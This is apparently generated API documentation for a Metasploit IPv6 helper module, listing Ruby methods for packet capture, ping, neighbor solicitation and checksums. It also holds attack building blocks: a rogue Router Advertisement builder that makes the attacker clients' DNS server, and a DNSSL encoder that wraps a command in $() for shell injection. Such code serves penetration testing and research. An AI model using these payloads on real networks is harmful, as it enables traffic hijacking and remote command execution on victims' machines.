Module: Msf::Exploit::Remote::Ipv6

Defined in:
lib/msf/core/exploit/remote/ipv6.rb

Overview

This module provides common tools for IPv6

Instance Method Summary collapse

Instance Method Details

#check_pcaprub_loaded ⇒ Object



545
546
547
548
549
550
551
552
553
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 545

def check_pcaprub_loaded
    unless @pcaprub_loaded
      print_status("The Pcaprub module is not available: #{@pcaprub_error}")
      raise RuntimeError, "Pcaprub not available"
    else
      true
  end

end

#close_icmp_pcap ⇒ Object

Close the capture interface



90
91
92
93
94
95
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 90

def close_icmp_pcap()
  check_pcaprub_loaded

  return if not @ipv6_icmp6_capture
  @ipv6_icmp6_capture = nil
end

#initialize(info = {}) ⇒ Object

Initializes an instance of an exploit module that captures traffic



31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 31

def initialize(info = {})
  super
  register_options(
    [
      OptString.new('INTERFACE', [false, 'The name of the interface']),
      OptString.new("SMAC", [ false, "The source MAC address"]),
      OptAddress.new("SHOST", [ false, "The source IPv6 address" ] ),
      OptInt.new("TIMEOUT", [ true, "Timeout when waiting for host response.", 5])
    ], Msf::Exploit::Remote::Ipv6
  )

  begin
    require 'pcaprub'
    @pcaprub_loaded = true
  rescue ::Exception => e
    @pcaprub_loaded = false
    @pcaprub_error  = e
  end
end

#ipv6_build_dnssl_option(cmd, lifetime = 0xFFFFFFFF) ⇒ Object



357
358
359
360
361
362
363
364
365
366
367
368
369
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 357

def ipv6_build_dnssl_option(cmd, lifetime = 0xFFFFFFFF)
  data = ipv6_encode_domain("#{rand_text_alpha(6..10)}.local") + ipv6_encode_dnssl_payload(cmd)

  # Pad to 8-byte boundary (option header is 8 bytes)
  pad_len = -data.length % 8
  data << "\x00" * pad_len

  # Option header: Type(1) + Length(1) + Reserved(2) + Lifetime(4)
  # Length is in units of 8 octets, including header
  length_units = (8 + data.length) / 8

  [31, length_units, 0].pack('CCn') + [lifetime].pack('N') + data
end

#ipv6_build_dnssl_search_option(domains, lifetime = 0xFFFFFFFF) ⇒ Object

Build a DNS Search List (DNSSL) option carrying real search domains (https://www.rfc-editor.org/rfc/rfc8106#section-5.2). Unlike ipv6_build_dnssl_option, this does not wrap a command payload; it simply advertises the given domains so the client appends them when resolving short names, which helps steer it onto poisoned FQDNs.



396
397
398
399
400
401
402
403
404
405
406
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 396

def ipv6_build_dnssl_search_option(domains, lifetime = 0xFFFFFFFF)
  data = Array(domains).map { |domain| ipv6_encode_domain(domain) }.join

  # Pad to an 8-byte boundary (the option header is 8 bytes).
  pad_len = -data.length % 8
  data << ("\x00" * pad_len)

  length_units = (8 + data.length) / 8

  [31, length_units, 0].pack('CCn') + [lifetime].pack('N') + data
end

#ipv6_build_prefix_info_option ⇒ Object

Build Prefix Information option (RFC 4861)



491
492
493
494
495
496
497
498
499
500
501
502
503
504
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 491

def ipv6_build_prefix_info_option
  type = 3
  length = 4 # 32 bytes / 8
  prefix_len = 64
  flags = 0xC0 # L=1, A=1 (on-link, autonomous address config)
  valid_lifetime = 30.days.to_i
  preferred_lifetime = 7.days.to_i
  reserved = 0
  prefix = IPAddr.new('2001:db8::').hton

  [type, length, prefix_len, flags].pack('CCCC') +
    [valid_lifetime, preferred_lifetime, reserved].pack('NNN') +
    prefix
end

#ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], router_lifetime: 0, dns_lifetime: 0xFFFFFFFF, dst_mac: '33:33:00:00:00:01', dst_addr: 'ff02::1') ⇒ Object

Build a complete Router Advertisement that advertises the attacker as the recursive DNS server via an RDNSS option (and optional DNSSL search list).

By default router_lifetime is 0, so the client does not adopt us as its default gateway (a DNS-only takeover that keeps routing untouched and stays closer to mitm6's stealth). Raise router_lifetime to also become a router.

dst_mac/dst_addr default to the all-nodes multicast group for an unsolicited RA; pass a specific client MAC and link-local address to unicast a solicited RA in response to a Router Solicitation.



418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 418

def ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], router_lifetime: 0, dns_lifetime: 0xFFFFFFFF,
                             dst_mac: '33:33:00:00:00:01', dst_addr: 'ff02::1')
  type = 134 # Router Advertisement
  code = 0
  checksum = 0
  cur_hop_limit = 64
  flags = 0x08 # Router Preference = Medium; M/O DHCPv6 flags left clear (RDNSS carries the DNS info)
  reachable_time = 0
  retrans_timer = 0

  ra_payload = [type, code, checksum, cur_hop_limit, flags, router_lifetime, reachable_time, retrans_timer].pack('CCnCCnNN')
  ra_payload << ipv6_build_slla_option(smac)
  ra_payload << ipv6_build_rdnss_option(dns_servers, dns_lifetime)
  ra_payload << ipv6_build_dnssl_search_option(domains, dns_lifetime) unless Array(domains).empty?

  p = PacketFu::IPv6Packet.new
  p.eth_saddr = smac
  p.eth_daddr = dst_mac # Default 33:33:00:00:00:01 = all-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2)
  p.ipv6_saddr = shost # Must be a link-local address (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2)
  p.ipv6_daddr = dst_addr # Default ff02::1 = all-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4291#section-2.7.1)
  p.ipv6_hop = 255
  p.ipv6_next = 0x3a # ICMPv6

  p.payload = ra_payload
  p.ipv6_len = ra_payload.length

  ipv6_checksum!(p)

  p
end

#ipv6_build_ra_packet(smac, payload_cmd, shost = 'fe80::1') ⇒ Object

Build the complete Router Advertisement packet



521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 521

def ipv6_build_ra_packet(smac, payload_cmd, shost = 'fe80::1')
  # Build ICMPv6 RA with options
  ra_payload = ipv6_build_ra_payload
  ra_payload << ipv6_build_slla_option(smac)
  ra_payload << ipv6_build_prefix_info_option
  ra_payload << ipv6_build_dnssl_option(payload_cmd)

  # Build IPv6 packet
  p = PacketFu::IPv6Packet.new
  p.eth_saddr = smac
  p.eth_daddr = '33:33:00:00:00:01' # All-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2)
  p.ipv6_saddr = shost # Link-local address (https://datatracker.ietf.org/doc/html/rfc4291#section-2.5.6)
  p.ipv6_daddr = 'ff02::1' # All-nodes multicast address (https://datatracker.ietf.org/doc/html/rfc4291-2.5.6#section-2.7.1)
  p.ipv6_hop = 255
  p.ipv6_next = 0x3a # ICMPv6

  p.payload = ra_payload
  p.ipv6_len = ra_payload.length

  ipv6_checksum!(p)

  p
end

#ipv6_build_ra_payload ⇒ Object

Build ICMPv6 Router Advertisement payload



507
508
509
510
511
512
513
514
515
516
517
518
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 507

def ipv6_build_ra_payload
  type = 134 # Router Advertisement
  code = 0
  checksum = 0
  cur_hop_limit = 64
  flags = 0x40 # O flag (Other configuration)
  router_lifetime = 1800
  reachable_time = 0
  retrans_timer = 0

  [type, code, checksum, cur_hop_limit, flags, router_lifetime, reachable_time, retrans_timer].pack('CCnCCnNN')
end

#ipv6_build_rdnss_option(dns_servers, lifetime = 0xFFFFFFFF) ⇒ Object

Build a Recursive DNS Server (RDNSS) option (https://www.rfc-editor.org/rfc/rfc8106#section-5.1). This is the option that lets a rogue Router Advertisement hand the attacker to IPv6 clients as their recursive resolver (the RA-based equivalent of the mitm6 DHCPv6 DNS takeover). dns_servers is one or more IPv6 addresses.

Raises:

  • (ArgumentError)


375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 375

def ipv6_build_rdnss_option(dns_servers, lifetime = 0xFFFFFFFF)
  servers = Array(dns_servers)
  raise ArgumentError, 'at least one DNS server is required' if servers.empty?

  addresses = servers.map do |addr|
    ip = IPAddr.new(addr)
    raise ArgumentError, "invalid IPv6 address: #{addr}" unless ip.ipv6?

    ip.hton
  end.join
  # Length is in units of 8 octets: 1 unit for the 8-byte header plus 2 units per address.
  length_units = 1 + (2 * servers.length)

  [25, length_units, 0].pack('CCn') + [lifetime].pack('N') + addresses
end

#ipv6_build_slla_option(mac) ⇒ Object

Build Source Link-Layer Address option (https://www.rfc-editor.org/rfc/rfc4861)



485
486
487
488
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 485

def ipv6_build_slla_option(mac)
  mac_bytes = mac.split(':').map { |x| x.to_i(16) }.pack('C6')
  [1, 1].pack('CC') + mac_bytes
end

#ipv6_checksum!(pkt) ⇒ Object

Usual ghetto strategy from PacketFu



293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 293

def ipv6_checksum!(pkt)
  check_data = pkt.headers.last[:ipv6_src].to_s.unpack("n8")
  check_data << pkt.headers.last[:ipv6_dst].to_s.unpack("n8")
  check_data << pkt.ipv6_len
  check_data << [0,58]
  check_payload = pkt.payload.size % 2 == 0 ? pkt.payload : pkt.payload + "\x00"
  check_data << check_payload.unpack("n*")
  check_data.flatten!
  checksum = check_data.inject(0) {|sum,x| sum += x}
  checksum = checksum % 0xffff
  checksum = 0xffff - checksum
  checksum == 0 ? 0xffff : checksum
  pkt.payload[2,2] = [checksum].pack("n")
  pkt
end

#ipv6_encode_dnssl_payload(cmd) ⇒ Object

Encode a command payload as DNS label format for DNSSL injection. Wraps the command in $() for shell substitution and splits into 63-byte chunks (max DNS label length).



340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 340

def ipv6_encode_dnssl_payload(cmd)
  payload_str = "$(#{cmd})"
  payload_bytes = payload_str.encode('ASCII-8BIT')

  if payload_bytes.length <= 63
    return [payload_bytes.length].pack('C') + payload_bytes + "\x00"
  end

  result = ''
  until payload_bytes.empty?
    chunk = payload_bytes.slice!(0, 63)
    result << [chunk.length].pack('C') << chunk
  end
  result << "\x00"
end

#ipv6_encode_domain(name) ⇒ Object

Encode a domain name in DNS label format (length-prefixed labels, null-terminated)



326
327
328
329
330
331
332
333
334
335
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 326

def ipv6_encode_domain(name)
  result = ''
  name.split('.').each do |label|
    next if label.empty?

    data = label.encode('ASCII-8BIT')
    result << [data.length].pack('C') << data
  end
  result << "\x00"
end

#ipv6_icmpv6_echo_request(id, seq, data) ⇒ Object

Helper methods that haven't made it upstream yet. Mostly packet data packers, also a checksum calculator.



236
237
238
239
240
241
242
243
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 236

def ipv6_icmpv6_echo_request(id,seq,data)
  type = 0x80
  code = 0
  checksum = 0
  id ||= rand(0x10000)
  seq ||= rand(0x10000)
  [type,code,checksum,id,seq,data].pack("CCnnna*")
end

#ipv6_interface(opts = {}) ⇒ Object

Shortcut method for resolving our local interface name



55
56
57
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 55

def ipv6_interface(opts={})
  opts['INTERFACE'] || datastore['INTERFACE'] || ::Pcap.lookupdev
end

Shortcut method for determining our link-local address



62
63
64
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 62

def ipv6_link_address(opts={})
  Rex::Socket.ipv6_link_address(ipv6_interface(opts))
end

#ipv6_linklocaladdr(mac) ⇒ Object

From Jon Hart's Racket::L3::Misc#linklocaladdr(), which is from Daniele Bellucci



261
262
263
264
265
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 261

def ipv6_linklocaladdr(mac)
  mac = mac.split(":")
  mac[0] = (mac[0].to_i(16) ^ (1 << 1)).to_s(16)
  ["fe80", "", mac[0,2].join, mac[2,2].join("ff:fe"), mac[4,2].join].join(":")
end

#ipv6_mac(opts = {}) ⇒ Object

Shortcut method for determining our MAC address



69
70
71
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 69

def ipv6_mac(opts={})
  Rex::Socket.ipv6_mac(ipv6_interface(opts))
end

#ipv6_neighbor_solicitation(neigh, smac) ⇒ Object

Takes a neighbor and smac as arguments, The Neighbor value must be an int, while the smac must be a string. Very rudimentary and temporary.



312
313
314
315
316
317
318
319
320
321
322
323
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 312

def ipv6_neighbor_solicitation(neigh,smac)
  target = neigh.to_s(16).scan(/../).map {|x| x.to_i(16)}.pack("C*")
  type = 135
  code = 0
  checksum = 0
  reserved = 0
  opt_type = 1
  opt_len = 1
  [type, code, checksum, reserved,
    target, opt_type, opt_len, smac
  ].pack("CCnNa16CCa6")
end

#ipv6_parse_options(data) ⇒ Object

Simple tlv parser



246
247
248
249
250
251
252
253
254
255
256
257
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 246

def ipv6_parse_options(data)
  pos = 0
  opts = []
  while pos < data.size
    type, len = data[pos,2].unpack("CC")
    this_opt = [type,len]
    this_opt << data[pos+2, (pos-2 + (len * 8))]
    opts << this_opt
    pos += this_opt.pack("CCa*").size
  end
  opts
end

#ipv6_router_solicitation?(pkt) ⇒ Boolean

True if the given parsed PacketFu packet is an ICMPv6 Router Solicitation (type 133, https://www.rfc-editor.org/rfc/rfc4861#section-4.1).

Returns:

  • (Boolean)


451
452
453
454
455
456
457
458
459
460
461
462
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 451

def ipv6_router_solicitation?(pkt)
  return false unless pkt.respond_to?(:is_ipv6?) && pkt.is_ipv6?
  return false unless pkt.ipv6_next == 0x3a # ICMPv6

  # PacketFu parses next-header 58 into an ICMPv6Packet, exposing the message
  # type as icmpv6_type; fall back to the first payload byte otherwise.
  if pkt.respond_to?(:icmpv6_type)
    pkt.icmpv6_type == 133
  else
    pkt.payload.to_s[0, 1] == "\x85" # 0x85 = 133
  end
end

#ipv6_solicited_ra_target(src_mac, src_addr) ⇒ Object

Decide where to send a solicited Router Advertisement given the source link-layer and IPv6 address of a Router Solicitation. Per RFC 4861 section 6.2.6, if the solicitation's source is the unspecified address the response is multicast to all-nodes; otherwise it is unicast back to the solicitor. Returns [dst_mac, dst_addr].



469
470
471
472
473
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 469

def ipv6_solicited_ra_target(src_mac, src_addr)
  return ['33:33:00:00:00:01', 'ff02::1'] if ipv6_unspecified_address?(src_addr)

  [src_mac, src_addr]
end

#ipv6_soll_mcast_addr6(addr) ⇒ Object

From Jon Hart's Racket::L3::Misc#soll_mcast_addr6(), which is from DDniele Belluci



269
270
271
272
273
274
275
276
277
278
279
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 269

def ipv6_soll_mcast_addr6(addr)
  h = addr.split(':')[-2, 2]
  m = []
  x = h[0]
  x[0..1] = 'ff'
  m << x
  x = h[1]
  x.sub!(/^0*/, "")
  m << x
  'ff02::1:' + m.join(':')
end

#ipv6_soll_mcast_mac(addr) ⇒ Object

From Jon Hart's Racket::L3::Misc#soll_mcast_mac()



282
283
284
285
286
287
288
289
290
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 282

def ipv6_soll_mcast_mac(addr)
  h = addr.split(':')[-2, 2]
  m = []
  m << 'ff'
  m << (h[0].to_i(16) & 0xff).to_s(16)
  m << ((h[1].to_i(16) & (0xff << 8)) >> 8).to_s(16)
  m << (h[1].to_i(16) & 0xff).to_s(16)
  '33:33:' + m.join(':')
end

#ipv6_unspecified_address?(addr) ⇒ Boolean

True if addr is missing or the IPv6 unspecified address (::).

Returns:

  • (Boolean)


476
477
478
479
480
481
482
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 476

def ipv6_unspecified_address?(addr)
  return true if addr.to_s.empty?

  IPAddr.new(addr.to_s).to_i.zero?
rescue IPAddr::Error
  true
end

#open_icmp_pcap(opts = {}) ⇒ Object

Opens a pcaprub capture interface to inject packets, and sniff ICMPv6 packets



77
78
79
80
81
82
83
84
85
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 77

def open_icmp_pcap(opts = {})
  check_pcaprub_loaded

  dev = ipv6_interface(opts)
  len = 65535
  tim = 0
  @ipv6_icmp6_capture = ::Pcap.open_live(dev, len, true, tim)
  @ipv6_icmp6_capture.setfilter("icmp6")
end

#ping6(dhost, opts = {}) ⇒ Object

Send a ICMPv6 Echo Request, and wait for the associated ICMPv6 Echo Response



164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 164

def ping6(dhost, opts={})
  check_pcaprub_loaded

  dhost_intf = dhost + '%' + ipv6_interface(opts)

  smac = opts['SMAC'] || datastore['SMAC'] || ipv6_mac
  shost = opts['SHOST'] || datastore['SHOST'] || Rex::Socket.source_address(dhost_intf)
  dmac = opts['DMAC'] || solicit_ipv6_mac(dhost)
  timeout = opts['TIMEOUT'] || datastore['TIMEOUT']
  wait = opts['WAIT']


  if(wait.eql?(nil))
    wait = true
  end

  dmac.eql?(nil) and return false

  open_icmp_pcap()

  # Create ICMPv6 Request
  p = PacketFu::IPv6Packet.new
  p.eth_saddr = smac
  p.eth_daddr = dmac
  p.ipv6_saddr = shost
  p.ipv6_daddr = dhost
  p.ipv6_next = 0x3a
  icmp_id = rand(65000)
  icmp_seq = 1
  icmp_payload = Rex::Text.rand_text(8)
  p.payload = ipv6_icmpv6_echo_request(icmp_id,icmp_seq,icmp_payload)
  p.ipv6_len = p.payload.to_s.size
  ipv6_checksum!(p)

  @ipv6_icmp6_capture.inject(p.to_s)

  if(wait.eql?(true))
    print_status("Waiting for ping reply...")
    print_line("")
    # Wait for a response
    max_epoch = ::Time.now.to_i + timeout
    while(::Time.now.to_i < max_epoch)
      pkt = @ipv6_icmp6_capture.next()
      next if not pkt
      response_pkt = PacketFu::Packet.parse(pkt) rescue nil
      next unless response_pkt
      next unless response_pkt.is_ipv6?
      next unless response_pkt.payload
      next if response_pkt.payload.empty?
      next unless response_pkt.payload[0,1] == "\x81" # Echo reply
      if( response_pkt.ipv6_daddr == p.ipv6_saddr and
         response_pkt.ipv6_saddr == p.ipv6_daddr and
         response_pkt.ipv6_daddr == p.ipv6_saddr and
         response_pkt.payload[4,2] == p.payload[4,2] and # Id
         response_pkt.payload[6,2] == p.payload[6,2] # Seq
        )
        close_icmp_pcap()
        return(true)
      end

    end # End while
  end

  close_icmp_pcap()
  return(false)
end

#solicit_ipv6_mac(dhost, opts = {}) ⇒ Object

Send out a ICMPv6 neighbor solicitation, and return the associated MAC address



101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 101

def solicit_ipv6_mac(dhost, opts = {})
  check_pcaprub_loaded

  dhost_intf = dhost + '%' + ipv6_interface(opts)

  smac = opts['SMAC'] || datastore['SMAC'] || ipv6_mac
  shost = opts['SHOST'] || datastore['SHOST'] || Rex::Socket.source_address(dhost_intf)
  timeout = opts['TIMEOUT'] || datastore['TIMEOUT'] || 3

  open_icmp_pcap()

  p2 = PacketFu::IPv6Packet.new
  p2.eth_saddr = smac
  p2.eth_daddr = ipv6_soll_mcast_mac(dhost)
  p2.ipv6_saddr = shost
  p2.ipv6_daddr = ipv6_soll_mcast_addr6(dhost)
  p2.ipv6_hop = 255
  p2.ipv6_next = 0x3a
  p2.payload = ipv6_neighbor_solicitation(
    IPAddr.new(dhost).to_i,
    p2.eth_src
  )
  p2.ipv6_len = p2.payload.size
  ipv6_checksum!(p2)

  @ipv6_icmp6_capture.inject(p2.to_s)

  # Wait for a response
  max_epoch = ::Time.now.to_i + timeout
  while(::Time.now.to_i < max_epoch)
    pkt_bytes = @ipv6_icmp6_capture.next()
    next if not pkt_bytes
    pkt = PacketFu::Packet.parse(pkt_bytes) rescue nil
    next unless pkt
    next unless pkt.is_ipv6?
    next unless pkt.ipv6_next == 0x3a
    next unless pkt.payload
    next if pkt.payload.empty?
    next unless pkt.payload[0,1] == "\x88" # Neighbor advertisement
    if(IPAddr.new(pkt.ipv6_daddr).to_i == IPAddr.new(shost).to_i and
       IPAddr.new(pkt.ipv6_saddr).to_i == IPAddr.new(dhost).to_i)
       ipv6opts = pkt.payload[24,pkt.payload.size]
       next unless ipv6opts
       parsed_opts = ipv6_parse_options(ipv6opts)
       parsed_opts.each do |opt|
         if opt[0] == 2
           addr = PacketFu::EthHeader.str2mac(opt.last)
           close_icmp_pcap()
           return(addr)
         end
       end
       close_icmp_pcap
       return(pkt.eth_saddr)
    end
  end
  close_icmp_pcap
  return nil
end